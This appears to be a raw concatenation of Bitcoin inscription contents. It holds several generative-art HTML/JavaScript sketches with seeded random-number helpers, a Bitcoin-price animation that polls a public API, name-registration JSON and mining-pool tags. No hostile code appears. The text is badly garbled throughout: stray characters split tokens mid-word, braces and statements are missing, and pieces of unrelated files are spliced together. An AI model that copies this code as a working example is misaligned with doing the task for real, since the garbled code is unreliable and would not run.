const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 27160M return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >M >> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); position: fixed; right: 0; bottom: 0; left: 0; color: rgb(255, 255, 255); background-color: rgb(0, 0, 0); display: flex; justify-content: center; align-items: center; padding: 0; font-size: 0.8em; object-fit: contain; max-height: 100%; max-width: 100%; #fullScreen { display: flex; position: fixed; right: 0; bottom: 0; left: 0; justify-content: center; align-items: center; #fullScreen canvas { object-fit: M max-height: 100%; max-width: 100%; <script type="text/javascript"> const rand = mathRand(); let originX, originY; let t = rand; let u = 0.0; let v = 0.0; let w = 0.0; let move = false; let rounder = true; ////////////////INFO & FEATURES let title = "Bitcoin in Motion"; let factor = Math.floor(1 + mathRand() * 10) function clr(rand) { if (rand > 0.75) { return 250; } else { return 0 function shap(rand) { if (rand > 0.75) { return ('Ellipse'); } else { return ('Rectangle'); window.$generativeTraits = { "BG Color": clr(rand), "Shape": shap(rand), "Size Factor ": factor console.log(title + " | smldms 2023.02") console.log(window.$generativeTraits) let a = 0.0; let aVel = 0.0; let aAcc = 0.01; let xoff = 0.0; let yoff = 0.0; let mapChange = 0; let globalData; let url = 'https://api.coingecko.com/api/v3/simple/price?ids=bitcoin&vs_currencies=usd&include_market_cap=true&include_24hr_vol=true&include_24hr_change=true&include_last_updated_at=true'; cnv = createCanvas(windowWidth, windowHeight); cnv.parent('fullScreen') setInterval(askData, 500); background(10); rectMode(CENTER); imageMode(CENTER); textFont('Impact'); textAlign(CENTER, CENTER); function askData() { loadJSON(url, gotData); function gotData(data) { globalData = data; setTimeout(askData, 12000); function draw() { background(clr(rand), 10); r = width / 2; a += aVel; aVel += aAcc; aVel = constrain(aVel, 0, mapChange); print(aVel) xoff += 0.001; yoff += 0.002; let noiseX = noise(xoff, 0, 1, 0, width); let noiseY = noise(yoff, 0, 1, 0, height); r = r * noiseX; if (move) { originX = map(mouseX, 0, width, -width / 2, wM originY = map(mouseY, 0, height, -height / 2, height / 2); } else { originX = map(noiseX, 0, 1, -width / 2, width / 2); originY = map(noiseY, 0, 1, -height / 2, height / 2); let red = map(noise(frameCount * 0.018), 0, 1, 25, 255); let green = map(noise(frameCount * 0.0125), 0, 1, 25, 255); let blue = map(noise(frameCount * 0.025), 0, 1, 25, 255); let alpha = map(noise(frameM Count) * 0.0123, 0, 1, 10, 255); let x = r * cos(a); let y = r * sin(a); stroke(red, green, blue, alpha); if (globalData) { translate(width / 2, height / 2); push() line(originX, originY, x / 3, y / 3); line(originX, originY, y / 2, x / 2); line(originX, originY, x, y); line(originX, originY, y * 2, x * 2); line(x / 3, y / 3, y / 2, x / 2); line(x / 3, y / 3, x, y); line(x / 3, y / 3, y * 2, x * 2); line(y / 2, x / 2, x, y); line(y * 2, x * 2, x, y); line(y * 2, x * 2, y / 2, x / 2); fill(red, green, blue, alpha); if (shap(rand) == "Ellipse") { ellipse(originX, originY, 1 * noiseY * factor, 1 * noiseY * factor); //point ellipse(x / 3, y / 3, width / 50 * noiseX * factor); //VERY SMALL ellipse(y / 2, x / 2, width / 40 * noiseX * factor); // MIDDLE ellipse(x, y, width / 20 * noiseX * factor); //MAIN ellipse(y * 2, x * 2, width / 30 * noiseX * factor); // EXTERIEUR; else { rect(originX, originY, 1 * noiseY, 1 * noiseY * factor); //point rect(x / 3, y / 3, width / 50 * noiseX * factor); //VERY SMALL rect(y / 2, x / 2, width / 40 * noiseX * factor);M rect(x, y, width / 20 * noiseX); //MAIN rect(y * 2, x * 2, width / 30 * noiseX * factor); // EXTERIEUR; pop() push() fill(red, green, blue, alpha); btcPrice = round(globalData.bitcoin.usd); htrChange = round(globalData.bitcoin.usd_24h_change); mapChange = map(Math.abs(htrChange), -25, 25, 0.005, 0.05) textSize(width / 20); stroke(clr(rand), alpha); text(btcPrice + ' $US', originX, originY); textSize(width / 60); text('BITCOIN PRICE', originX, originY - width / 25); textSize(width / 50); pop() } else { push(); fill(red, green, blue, random(alpha, 255)); ellipse(width / 2 + sin(frameCount / 50) * width / 5, height / 2 + height / 10, width / 200); pop(); noFill() textSize(width / 20); text('LOADING', width / 2, height / 2); textSize(width / 40); text('BITCOIN PRICE', width / 2, height / 2 + height / 18); textSize(width / 60); text('Press S to save PNG file', width / 2, height / 2 + height / 5); function keyTyped() { if (keyCode === 83) { // if "s" is pressed save(myTitle + '.png'); else if (keyCode === 32) { // if "x" is pressed if (!move) { move = true; document.body.style.cursor = 'none'; else { move = false; document.body.style.cursor = 'default'; function windowResized() { resizeCanvas(windowWidth, windowHeight); <div id="fullScreenLZ"> <div id="progress"> text/html;charset=utf-8 <meta charset="UTF-8"> <title>Angular Decay</title> <script id="snippet-random-code" type="text/javascript"> let seed = window.location.href.split('/').find(t => t.includes('i0')); const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i <M seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); <style>body {margin: 0px;} </style>M <canvas id="target"></canvas> <script type="text/javascript"> const rand = mathRand(); const rand2 = mathRand(); let sqpix,cp,ratio=0.707,bug=false; if(rand<0.3){sqpix=0;zoom=false;return"Portrait";} if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";} if(rand<0.95){sqpix=1;return"Square";} sqpix=1;bug=1;return"Bugged";} if(rand<0.07){cp=12;return "Paper";} if(rand<0.14){cp=1;return "DPM";} if(rand<0.21){cp=2;return "Fecktarn";} if(rand<0.41){cp=4;return "Desert Drill";} if(rand<0.5){cp=5;return "Urban";} if(rand<0.6){cp=6;return "Navy";} if(rand<0.7){cp=7;return "German Winter";} if(rand<0.8){cp=8;return "Tree";} if(rand<0.85){cp=9;return "Orange";} if(rand<0.9){cp=10;return "Harris";} if(rand<0.95){cp=11;return "Market";} cp=0;return "Saint";} window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) } const container = document.createElement("div") container.innerHTML = "<span>seed: " + seed + "</spM let resizeTmr=null,aniFrame=null; let ofw,ofh,sz,rz=1; let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[]; var tricount=0,tr=30; var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[]; var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[]; const init = async () => { window.addEventListener('resize', async () => { clearTimeout(resizeTmr) resizeTmr = setTimeout(async () => { await layoutCanvas() await layoutCanvas() const layoutCanvas = async () => { const wWidth=window.innerWidth const wHeight=window.innerHeight let cHeight=wHeight; let cWidth=cHeight*ratio; if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;} const canvas=document.getElementById('target') canvas.width=2000*rz; canvas.height=(2000*rz)/ratio; canvas.style.position = 'absolute' canvas.style.width = `${cWidth}px` canvas.style.height = `${cHeight}px` canvas.style.left = `${(wWidth - cWidth) / 2}px` canvas.style.top = `${(wHeight - cHeight) / 2}pM const drawCanvas = async () => { if(!tried) setupart(); if (aniFrame) window.cancelAnimationFrame(aniFrame) const canvas=document.getElementById('target') const ctx=canvas.getContext('2d') {let bx=ofw/500,by=ofh/500; ctx.globalAlpha=0.05; for(let f=10;f<30; f++){ for(let i=0;i<500; i++){ drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff'); drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M if(gj>500) { drp=3; gj=0; } for(let f=0;f<tc;f++){ if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz); else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz); dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz); dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);} for(let f=0;f<rc;f++){ dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz); ,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz); dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);} ctx.fillStyle = artcols[0]; ctx.fillRect(0,0,ofw,ofh); mathRand = sfc32(...cyrb128(seed)); tc=0;rc=0;tricount=0;tr=30;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); tricount=1000;tr=rir(10,50);dor=true;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); aniFrame = window.requestAnimationM function triharder( x1,y1, x2,y2) if(tricount>2500) return; var x3=x1+rir(-tr,tr); var y3=y1+rir(-tr,tr); if(x3<0){x3+=tr;bmp++} if(x3>1000){x3-=tr;bmp++} if(y3<0){y3+=tr;bmp++} if(y3>1000/ratio){y3-=tr;bmp++} if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; } else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;} if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M triharder(x3,y3, x1,y1); if(ri(100)>20) triharder(x3,y3, x2,y2); const autoDownloadCanvas = async () => { const element = document.createElement('a') element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`) element.style.display = 'none' document.body.appendChild(element) let imageBlob = null imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png')) element.setAttribute('href', window.URL.createObjectURL(imageBlob, { document.body.removeChild(element) document.addEventListener('keypress', async (e) => { e = e || window.event if (e.key === 's') autoDownloadCanvas() if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() } function drawEllipse(ctx,x,y,rx,ry,fill) { ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI); if (fill) {ctx.fillStyle = fill;ctx.fill();} function dl(ctx,lx,ly,ex,ey,stroke,width) { if (stroke) {ctx.strokeStyle = stroke;} if (width) { ctx.linM ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke(); if(cp==12)artcols=['#EDECE0','#303030','#880808']; if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B']; if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41']; if(cp==1) artcols=['#25201E','#D3A252','#686C22']; if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026']; if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D']; if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A']; if(cp==5) artcols= ['#B8B8B3','#474747','M if(cp==6) artcols= ['#A6B2C7','#323642','#394A69']; if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD']; if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D']; if(cp==9) artcols= ['#EDECE0','#944645','#F25D34']; if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933']; function ri( x){ return Math.floor(mathRand()*x);} function rir(x,y){ let nr = (y - x) ; return Math.floor((mathRand()*nr) + x); } text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11010.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11009.sats"}h! text/plain;charset=utf-8 "name": "ysc.sats" text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11007.sats"}h! d/Foundry USA Pool #dropgold/ FjDOUT:342E538B49FDE457FDB392B4DDC40BD63474EF1007CA9F5EC40CAD0A6AE77B46 FjDOUT:F62C763077A4A8D147DD063669EE24CCCA367F72B5CE0D71C00E6A07A4E70FDB FjDOUT:E3509C8DB13F20CA2CA03074FD7ED0C7B9DBF72B75CE45CCE6B870191E3E3633 FjDOUT:1E086BD254DDB8B57BF0D81B77F7FE9D471266BE603F8CFDA50BBD7083490AF3 text/html;charset=utf-8 <meta charset="UTF-8"> Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below. Are we missing an important library? Let us know @generative_xyz. <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script> <!-- c2.min.js@1.0.0 <script sandbox="allow-scripts" type="text/javascript" srM c="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script> <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script> <!-- p5.grain.js@0.6.1 <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script> <!-- threejs@r124 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/aM jax/libs/three.js/r124/three.min.js"></script> <!-- tonejs@14.8.49 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script> <!-- svgjs@3.1.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script> <!-- aframejs@1.2.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/aM frame/1.2.0/aframe.min.js"></script> <!-- babylonjs@5.47.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script> <!-- paperjs@0.12.17 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.17/paper-full.min.js"></script> <!-- regljs@2.1.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.comM /ajax/libs/regl/2.1.0/regl.min.js"></script> <script type="text/javascript"> Add your script here var colorPalettes = [ ['#fafa6e', '#2A4858'], ['#9C27B0', '#FFEB3B'], ['#00BCD4', '#FF5722'], ['#191970', '#FF69B4', '#228B22', '#FFFF00'], ['#8BC34A', '#3F51B5', '#F44336'], ['#009688', '#FFC107', '#795548'], ['#4CAF50', '#FFC107', '#9C27B0'], ['#00BCD4', '#FFC107', '#9C27B0'], 88', '#FFC107', '#E91E63'], ['#ff0000', '#0000ff', '#00ff00'], ['#ff0000', '#0000ff', '#00ff00'], ['green', 'blue', 'orange', 'green'] var point_count = 700; var pointSpace = 12; var spaceRatio = 0.5; var maxAttempts = 100; var densityRatio = 0.5; var length1 = 10000; var length2 = 10000; [700, 12, 0.95, 0.5, 0.5], [700, 12, 0.95, 0.5, 0.5], [700, 12, 0.95, 0.5, 0.5], 700, 12, 0.95, 0.5, 0.5], [900, 8, 0.95, 0.5, 0.5], [700, 8, 0.78, 0.5, 0.5], [500, 5, 0.85, 0.5, 0.5], [800, 12, 0.9, 0.2, 0.5], [700, 12, 0.95, 0.5, 0.5], [700, 12, 0.95, 0.5, 0.5] function mathRandSelect(array) { return array[round(mathRand() * (array.length - 1))]; function mathRnd(min, max) { return map(mathRand(), 0, 1, min, max) function resizeCanvasStyle(){ canvas.style("position", "absolute"); the canvas element's width and height properties to scale it canvas.style("width", "100%"); canvas.style("height", "100%"); // Set the canvas element's top and left properties to center it horizontally and vertically canvas.style("top", "0"); canvas.style("left", "0"); canvas.style("bottom", "0"); canvas.style("right", "0"); canvas.style("margin", "auto"); // Set the transform property to move the canvas element to the center of the page canvas.style("transform", "translatM canvas.style("width", "100%"); canvas.style("height", "100%"); // Set the canvas element's top and left properties to center it horizontally and vertically canvas.style("top", "0"); canvas.style("left", "0"); canvas.style("bottom", "0"); canvas.style("right", "0"); canvas.style("margin", "auto"); // Calculate the scale factor based on the window size and the canvas size let scaleFactor = Math.min(window.innerWidth / 400, window.innerHeight / 600M // Set the transform property to scale the canvas element based on the scale factor canvas.style("transform", `scale(${scaleFactor})`); let urlParams = getURLParams(); if (urlParams.res) { density = round(int(urlParams.res)); noiseSeed(mathRand() * 99999); randomSeed(mathRand() * 99999); canvas = createCanvas(400, 600); canvas.addClass("canvasNewCSS"); resizeCanvasStyle(canvasW,canvasH); pixelDensity(density); angleMode(DEGREES); mathRandSelect(colorPalettes); noiseDetail(8, 0.5); print(colorPalette); colorPalette = chroma.scale(colorPalette).mode('lch').colors(12); field = mathRandSelect(fields); point_count = field[0]; pointSpace = field[1]; offset = field[2]; spaceRatio = field[3]; densityRatio = field[4]; variationMode = round(mathRandSelect([1, 2, 3, 4, 5, 6, 7, 8])); var maxAttempts = 1000; for (var i = 0; i < point_count; i++) { var attempts = 0; while (attempts < maxAttempts) { var point_x = mathRnd(width * (1 - offset), width * offset); var point_y = mathRnd(height * (1 - offset), height * offset); var point_r = mathRnd(pointSpace * spaceRatio, pointSpace); var point_l = mathRnd(length1, length2); var point_color = mathRandSelect(colorPalette); var overlapp = false; for (var j = 0; j < i; j++) { if (points[j]) { var x2 = points[j].x; var y2 = points[j].y; var r2 = points[j].r; if (dist(point_x, poM int_y, x2, y2) < (r2 + point_r) / 2 * 1.4) { overlapp = true; if (!overlapp) { append(points, { x: point_x, y: point_y, c: point_color, r: point_r, l: point_l if (attempts >= maxAttempts) { console.warn("Could not place point " + i + " after " + maxAttempts + " attempts."); for (var p = 0; p < points.length;M fill(points[p].c); rectMode(CENTER); translate(points[p].x, points[p].y); rotate(mathRnd(360)); translate(-points[p].x, -points[p].y); for (var i = 0; i < points.length; i++) { if (points[i].l > 0) { let x = points[i].x; let y = points[i].y; let pointColor = points[i].c; let newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space); let newY = y + mM ap(noise(log(y), log(x)), 0, 1, -space, space / 2); switch (variationMode) { newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space); newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); newX = x + map(noise(log(x), sin(y)), 0, 1, -space / 2, space); newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); newX = x + map(noise(cos(x), log(y)), 0, 1, -spaM newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); newX = x + map(noise(sin(x), cos(y)), 0, 1, -space / 2, space); newY = y + map(noise(cos(y), sin(x)), 0, 1, -space, space / 2); newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space); newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); newX = x + map(noise(log(M x), log(y)), 0, 1, -space / 2, space); newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space); newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space); newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); let maxR = pointSpace; if (newX > width * (1 - offset) &&M newX < width * offset) { if (newY > height * (1 - offset) && newY < height * offset) { let v1 = createVector(x, y); let v2 = createVector(newX, newY); let angleBetween = v1.angleBetween(v2); rotate(angleBetween / space); strokeWeight(0.7); stroke(pointColor) fill(pointColor); maxR = points[i].r; for (var p = 0; p < i; p++) { maxR = min(maxR, dist(x, y, points[p].x, poM noStroke(); circle(x, y, maxR); points[i].x = newX; points[i].y = newY; points[i].r = maxR; points[i].l--; if (millis()>25000) { Add your script here <script id="snippet-random-code" type="text/javascript"> // DO NOT EDIT THIS SM let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substring(i, i + M pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = MathM .imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0,M (l >>> 0) / 4294967296 // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation. // This function generates a random number between 0 and 1 with on-chain seed. let mathRand = sfc32(...cyrb128(seed)); margin: 0px; <script type="text/javascript"> const rand = mathRand(); function T1(rand) { // calculate rarity by yourself if (rand > 0.5) { return true; return false // window.$generativeTraits contain list traits for token // you need to populate a $generativeTraits object in the window object // window.$generativeTraits = { // "T1": T1(rand), // console.log(window.$generativeTraits) Add your code here // const container = document.createElement("div") // container.innerHTML = "<span>seed: " + seed + "</span><br>"; // document.body.prepend(container) Add your code here text/html;charset=utf-8 <meta charset="UTF-8"> <title>"Rays" by Pawe Dudko | pdudko.com</title> <script id="snippet-random-code" type="text/javascript"> // not editable let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() *M alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.lengthM ; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); margin: 0; padding: 0; overflow: hidden; <canvas id="myCanvas"></canvas> <script type="text/jaM console.log("seed:",seed);class Rnd{rD(){return mathRand()}rN(r,t){return r+(t-r)*this.rD()}rI(r,t){return Math.floor(this.rN(r,t+1))}rB(r){return this.rD()<r}}const R=new Rnd;class Perlin{constructor(){this.R=new Rnd,this.grad3=[[1,1,0],[-1,1,0],[1,-1,0],[-1,-1,0],[1,0,1],[-1,0,1],[1,0,-1],[-1,0,-1],[0,1,1],[0,-1,1],[0,1,-1],[0,-1,-1]],this.p=[];for(var r=0;r<256;r++)this.p[r]=Math.floor(256*this.R.rD());for(this.perm=[],r=0;r<512;r++)this.perm[r]=this.p[255&r];this.simplex=[[0,1,2,3],[0,1,3M ,2],[0,0,0,0],[0,2,3,1],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,2,3,0],[0,2,1,3],[0,0,0,0],[0,3,1,2],[0,3,2,1],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,3,2,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,2,0,3],[0,0,0,0],[1,3,0,2],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,3,0,1],[2,3,1,0],[1,0,2,3],[1,0,3,2],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,0,3,1],[0,0,0,0],[2,1,3,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,0,1,3],[0,0,0,0],[0,0,0,0],[0,0,0,0],[3,0,1,2],[3,0,2M ,1],[0,0,0,0],[3,1,2,0],[2,1,0,3],[0,0,0,0],[0,0,0,0],[0,0,0,0],[3,1,0,2],[0,0,0,0],[3,2,0,1],[3,2,1,0]]}dot(r,t,e){return r[0]*t+r[1]*e}noise(r,t){var e,i,a=(r+t)*(.5*(Math.sqrt(3)-1)),o=Math.floor(r+a),l=Math.floor(t+a),n=(3-Math.sqrt(3))/6,s=(o+l)*n,g=r-(o-s),c=t-(l-s);g>c?(e=1,i=0):(e=0,i=1);var d=g-e+n,f=c-i+n,p=g-1+2*n,A=c-1+2*n,m=255&o,F=255&l,E=this.perm[m+this.perm[F]]%12,u=this.perm[m+e+this.perm[F+i]]%12,R=this.perm[m+1+this.perm[F+1]]%12,h=.5-g*g-c*c,B=.5-d*d-f*f,D=.5-p*p-A*A;return 70*((h<0?0:(h*=h)*h*M this.dot(this.grad3[E],g,c))+(B<0?0:(B*=B)*B*this.dot(this.grad3[u],d,f))+(D<0?0:(D*=D)*D*this.dot(this.grad3[R],p,A)))}}const perlin=new Perlin;function map(r,t,e,i,a){return i+(a-i)*(r-t)/(e-t)}let bckCol,dim=Math.min(window.innerWidth,window.innerHeight),spots=R.rI(10,25),radius=[],m=[],mOff=1e-4*R.rN(1,7),x=[],y=[],z=[],S=30,sRot=[],b=1,bOffset=R.rN(0,.005),bMag=1,xOff=[],yOff=[],pC=[],noiseFeat=mathRand()>.79,pFeat=R.rI(1,24),angleFeat=mathRand()>.87?0:mathRand()<.1?1:2,colorBackground=R.rI(0,1);const PI=Math.M PI,TWO_PI=2*PI;let blurV=[];blurV=blurV=0==angleFeat?[R.rN(0,R.rN(0,1)),0]:1==angleFeat?[0,R.rN(0,R.rN(0,1))]:[R.rN(-.9,.9),R.rN(0,.9)],Math.pow(blurV[0],2)+Math.pow(blurV[1],2)<.18&&(blurV[0]>blurV[1]?blurV[0]+=.35:blurV[1]+=.35);const vs2="attribute vec2 a_position;attribute vec2 a_texCoord;uniform vec2 u_resolution;varying vec2 v_texCoord;\nvoid main(){vec2 clipSpace=a_position/u_resolution*2.0-1.0;gl_Position=vec4(clipSpace*vec2(1,-1),0,1);v_texCoord=a_texCoord;}",fs2="precision mediump float;uniform sampler2D M u_image;varying vec2 v_texCoord;uniform vec2 dl;float rnd(vec3 scale,float seed){return fract(sin(dot(gl_FragCoord.xyz+seed,scale))*43758.5453+seed);}\nvoid main(){vec4 col=vec4(0.0);float tt=0.0;float off=rnd(vec3(12.9898,78.233,151.7182),0.0);for(float t=-30.0;t<=30.0;t++){float 